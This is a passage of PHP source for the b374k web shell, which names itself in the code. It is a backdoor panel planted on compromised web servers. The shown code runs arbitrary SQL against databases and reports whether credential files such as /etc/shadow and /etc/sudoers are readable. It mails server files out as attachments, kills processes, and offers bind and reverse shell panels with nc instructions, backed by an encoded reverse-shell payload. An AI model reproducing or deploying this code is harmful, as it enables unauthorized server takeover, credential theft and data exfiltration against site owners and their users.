5172<tbody> <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
5173</tbody>
5174<tfoot> <tr class='dbConnectRow'> <td style='width:144px;'> <select id='dbType'> </select> </td> <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td> <td class='dbError'></td> </tr> <tr class='dbQueryRow' style='display:none;'> <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td> </tr> <tr class='dbQueryRow' style='display:none;'> <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td> <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td> </tr>
5175</tfoot>
5176</table>
5177<div id='dbBottom' style='display:none;'>
5178<br>
5179<table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
5180</div>
5181"; if(!function_exists('sql_connect')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_connect')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'pgsql'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == 'sqlite3'){ if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); } elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'pdo'){ if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; }
5182} if(!function_exists('sql_query')){ function sql_query($sqltype, $query, $con){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return $con->query($query); elseif(function_exists('mysql_query')) return mysql_query($query); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); elseif(function_exists('mssql_query')) return mssql_query($query); } elseif($sqltype == 'pgsql') return pg_query($query); elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query)); elseif($sqltype == 'sqlite3') return $con->query($query); elseif($sqltype == 'sqlite') return sqlite_query($con, $query); elseif($sqltype == 'odbc') return odbc_exec($con, $query); elseif($sqltype == 'pdo') return $con->query($query); }
5183} if(!function_exists('sql_num_rows')){ function sql_num_rows($sqltype,$result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->mysqli_num_rows; elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result); elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result); } elseif($sqltype == 'pgsql') return pg_num_rows($result); elseif($sqltype == 'oracle') return oci_num_rows($result); elseif($sqltype == 'sqlite3'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata['count']; } elseif($sqltype == 'sqlite') return sqlite_num_rows($result); elseif($sqltype == 'odbc') return odbc_num_rows($result); elseif($sqltype == 'pdo') return $result->rowCount(); }
5184} if(!function_exists('sql_num_fields')){ function sql_num_fields($sqltype, $result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->field_count; elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result); elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result); } elseif($sqltype == 'pgsql') return pg_num_fields($result); elseif($sqltype == 'oracle') return oci_num_fields($result); elseif($sqltype == 'sqlite3') return $result->numColumns(); elseif($sqltype == 'sqlite') return sqlite_num_fields($result); elseif($sqltype == 'odbc') return odbc_num_fields($result); elseif($sqltype == 'pdo') return $result->columnCount(); }
5185} if(!function_exists('sql_field_name')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_field_metadata')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata['Name']; } elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i); } elseif($sqltype == 'pgsql') return pg_field_name($result,$i); elseif($sqltype == 'oracle') return oci_field_name($result,$i+1); elseif($sqltype == 'sqlite3') return $result->columnName($i); elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i); elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1); elseif($sqltype == 'pdo'){ $res = $result->getColumnMeta($i); return $res['name']; } }
5186} if(!function_exists('sql_fetch_data')){ function sql_fetch_data($sqltype,$result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->fetch_row(); elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1); elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result); } elseif($sqltype == 'pgsql') return pg_fetch_row($result); elseif($sqltype == 'oracle') return oci_fetch_row($result); elseif($sqltype == 'sqlite3') return $result->fetchArray(1); elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1); elseif($sqltype == 'odbc') return odbc_fetch_array($result); elseif($sqltype == 'pdo') return $result->fetch(2); }
5187} if(!function_exists('sql_close')){ function sql_close($sqltype,$con){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return $con->close(); elseif(function_exists('mysql_close')) return mysql_close($con); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_close')) return sqlsrv_close($con); elseif(function_exists('mssql_close')) return mssql_close($con); } elseif($sqltype == 'pgsql') return pg_close($con); elseif($sqltype == 'oracle') return oci_close($con); elseif($sqltype == 'sqlite3') return $con->close(); elseif($sqltype == 'sqlite') return sqlite_close($con); elseif($sqltype == 'odbc') return odbc_close($con); elseif($sqltype == 'pdo') return $con = null; }
5188} if(!function_exists('sql_get_supported')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = 'mysql'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql'; if(function_exists("pg_connect")) $db_supported[] = 'pgsql'; if(function_exists("oci_connect")) $db_supported[] = 'oracle'; if(function_exists("sqlite_open")) $db_supported[] = 'sqlite'; if(class_exists("SQLite3")) $db_supported[] = 'sqlite3'; if(function_exists("odbc_connect")) $db_supported[] = 'odbc'; if(class_exists("PDO")) $db_supported[] = 'pdo'; return implode(",", $db_supported); }
5189} if(isset($p['dbGetSupported'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res);
5190}
5191elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){ $type = $p['dbType']; $host = $p['dbHost']; $user = $p['dbUser']; $pass = $p['dbPass']; $port = $p['dbPort']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p['dbQuery'])){ $query = $p['dbQuery']; $pagination = ""; if((isset($p['dbDB']))&&(isset($p['dbTable']))){ $db = trim($p['dbDB']); $table = trim($p['dbTable']); $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0; $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100; if($type=='mysql'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type=='mssql'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type=='pgsql'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type=='oracle'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type=='sqlite' || $type=='sqlite3'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'> <span class='button' onclick=\"db_pagination('prev');\">prev</span> <span class='button' onclick=\"db_pagination('next');\">next</span> <input type='hidden' id='dbDB' value='".html_safe($db)."'> <input type='hidden' id='dbTable' value='".html_safe($table)."'> <input type='hidden' id='dbStart' value='".html_safe($start)."'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query)."; <span class='strong'>[</span> ok <span class='strong'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class='border dataView sortable tblResult'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else{ $res .= "<p>".html_safe($query)."; <span class='strong'>[</span> error <span class='strong'>]</span></p>"; } } } } else{ if(($type!='pdo') && ($type!='odbc')){ if($type=='mysql') $showdb = "SHOW DATABASES"; elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db; elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'"; elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'"; elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'"; elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; else $showtbl = ""; $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output('error');
5192} $GLOBALS['module']['info']['id'] = "info";
5193$GLOBALS['module']['info']['title'] = "Info";
5194$GLOBALS['module']['info']['js_ontabselected'] = "";
5195$GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>"; if(!function_exists('info_getinfo')){ function info_getinfo(){ $res = ""; $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>"; $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \"print \$]\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("\n", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>"; $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>"; $i_buffs = explode("\n\n", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("\n", $i_buffss); $res .= "<table class='dataView'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>"; $i_buffs = explode("\n", $i_buff); $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class='dataView'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\ +/", " ", $i_buff); $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>"; $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>"; $i_buffs = explode("\n\n", $i_buff); $res .= "<table class='dataView'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("\n", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class='boxtbl' ", $body); $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body); $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body); $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body); $res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>"; } } $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>"; return $res; }
5196} if(isset($p['infoRefresh'])){ output(info_getinfo());
5197} $GLOBALS['module']['mail']['id'] = "mail";
5198$GLOBALS['module']['mail']['title'] = "Mail";
5199$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
5200$GLOBALS['module']['mail']['content'] = "
5201<table class='boxtbl'>
5202<thead> <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
5203</thead>
5204<tbody id='mailTBody'> <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
5205</tbody>
5206<tfoot> <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr> <tr> <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span> <span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span> </td> </tr> <tr><td colspan='2'><span id='mailResult'></span></td></tr>
5207</tfoot>
5208</table>
5209"; if(!function_exists('send_email')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0\r\n".$from; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n"; $headers .= "--".$rand."\r\n"; $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n"; $headers .= $msg."\r\n\r\n"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."\r\n"; $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n"; $headers .= "Content-Disposition: attachment\r\n\r\n"; $headers .= $content."\r\n\r\n"; } } } $headers .= "--".$rand."--\r\n"; if(@mail($to, $subject, "", $headers)) return true; return false; }
5210} if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){ $mailFrom = trim($p['mailFrom']); $mailTo = trim($p['mailTo']); $mailSubject = trim($p['mailSubject']); $mailContent = trim($p['mailContent']); $mailAttachment = trim($p['mailAttachment']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(!empty($mailFrom)){ $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n"; } foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); output("Failed to send mail");
5211} $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
5212$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
5213$default_port = 13123;
5214$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rR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";
5222$GLOBALS['module']['network']['title'] = "Network";
5223$GLOBALS['module']['network']['js_ontabselected'] = "";
5224$GLOBALS['module']['network']['content'] = "
5225<table class='boxtbl'>
5226<thead> <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
5227</thead>
5228<tbody> <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr> <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
5229</tbody>
5230<tfoot> <tr> <td style='width:144px;'> <select id='bindLang' class='rsType'> ".$winbinary." </select> </td> <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td> </tr> <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
5231</tfoot>
5232</table>
5233<br>
5234<table class='boxtbl'>
5235<thead> <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
5236</thead>
5237<tbody> <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr> <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
5238</tbody>
5239<tfoot> <tr> <td style='width:144px;'> <select id='backLang' class='rsType'> ".$winbinary." </select> </td> <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td> </tr> <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
5240</tfoot>
5241</table>
5242<br>
5243<table class='boxtbl'>
5244<thead> <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
5245</thead>
5246<tbody> <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
5247</tbody>
5248<tfoot> <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr> <tr> <td> <span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span> </td> <td>You can also press ctrl+enter to submit</td> </tr> <tr><td colspan='2'><div id='packetResult'></div></td></tr>
5249</tfoot>
5250</table>
5251"; if(isset($p['rsLang']) && isset($p['rsArgs'])){ $rsLang = $p['rsLang']; $rsArgs = $p['rsArgs']; $res = ""; if($rsLang=="php"){ $code = get_resource("rs_".$rsLang); if($code!==false){ $code = "\$target = \"".$rsArgs."\"; ?>".$code; $res = eval_go($rsLang, $code, "", ""); } } else{ $code = get_resource("rs_".$rsLang); if($code!==false){ $res = eval_go($rsLang, $code, "", $rsArgs); } } if($res===false) $res == "error"; output(html_safe($res));
5252}
5253elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){ $packetHost = trim($p['packetHost']); if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; $packetPort = (int) $p['packetPort']; $packetTimeout = (int) $p['packetTimeout']; $packetSTimeout = (int) $p['packetSTimeout']; $packetContent = $p['packetContent']; if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("\r","\n"), "", $packetContent); $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent); } $res = ""; $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); if(!$sock){ $res .= "<div class='weak'>"; $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>"; } else{ stream_set_timeout($sock, $packetSTimeout); fwrite($sock, $packetContent."\r\n\r\n\x00"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="") $counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>"; $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>"; } output($res);
5254} $GLOBALS['module']['processes']['id'] = "processes";
5255$GLOBALS['module']['processes']['title'] = "Processes";
5256$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
5257$GLOBALS['module']['processes']['content'] = ""; if(!function_exists('show_processes')){ function show_processes(){ $output = ''; $wcount = 11; if(is_win()){ $cmd = "tasklist /V /FO csv"; $wexplode = "\",\""; } else{ $cmd = "ps aux"; $wexplode = " "; } $res = execute($cmd); if(trim($res)=='') return false; else{ $output .= "<table id='psTable' class='dataView sortable'>"; if(!is_win()) $res = preg_replace('#\ +#',' ',$res); $psarr = explode("\n",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=''){ if($fi){ $fi = false; $psln = explode($wexplode, $psa, $wcount); $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>"; foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>"; $output .= "</tr>"; } else{ $psln = explode($wexplode, $psa, $wcount); $pid = trim(trim($psln[1]),"\""); $tblcount = 0; $output .= "<tr data-pid='".$pid."'>"; foreach($psln as $p){ if(trim($p)=="") $p = " "; $p = trim(trim($p) ,"\""); $p = html_safe($p); if($tblcount == 0){ $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>"; else $output .= "<td style='text-align:center;'>".$p."</td>"; } } $output .= "</tr>"; } } } $colspan = count($psln)+1; $colspanAll = $colspan+1; $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>"; } return $output; }
5258} if(isset($p['showProcesses'])){ $processes = show_processes(); if($processes!==false) output($processes); output('error');
5259}
5260elseif(isset($p['allPid'])){ $allPid = explode(" ", $p['allPid']); $counter = 0; foreach($allPid as $pid){ $pid = trim($pid); if(!empty($pid)){ if(function_exists("posix_kill")){ if(posix_kill($pid,'9')) $counter++; } else{ if(is_win()){ $cmd = execute("taskkill /F /PID ".$pid); $cmd = execute("tasklist /FI \"PID eq ".$pid."\""); if(strpos($cmd,"No tasks are running")!==false) $counter++; } else{ $cmd = execute("kill -9 ".$pid); if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ $cmd = trim(execute("ps -p ".$pid)); $check = explode("\n", $cmd); if(count($check)==1) $counter++; } } } } } if($counter>0) output($counter); else output('error');
5261} $error = @ob_get_contents();
5262$error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("\n\n", "\n", html_safe($error))."</pre>":"";
5263@ob_end_clean();
5264error_reporting(0);
5265@ini_set('display_errors','0');?><!doctype html>
5266<html>
5267<head>
5268<title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
5269<meta charset='utf-8'>
5270<meta name='robots' content='noindex, nofollow, noarchive'>
5271<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
5272<link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
